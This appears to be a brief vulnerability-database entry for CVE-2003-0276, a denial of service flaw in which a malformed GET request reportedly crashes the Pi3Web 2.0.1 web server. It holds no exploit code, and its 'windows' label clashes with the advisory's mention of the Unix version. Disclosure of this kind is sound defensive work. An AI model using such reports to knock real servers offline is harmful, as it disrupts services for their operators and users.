Description

Pi3Web 2.0.1 Malformed GET Request Denial Of Service Vulnerability. CVE-2003-0276. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/7555/info

It has been reported that Pi3Web server is prone to a denial of service vulnerability. Reportedly, when a malicious GET request is sent to the Pi3Web server the server will fail. It should be noted that the Unix version has been reported vulnerable, it is not currently known if other platforms are affected.
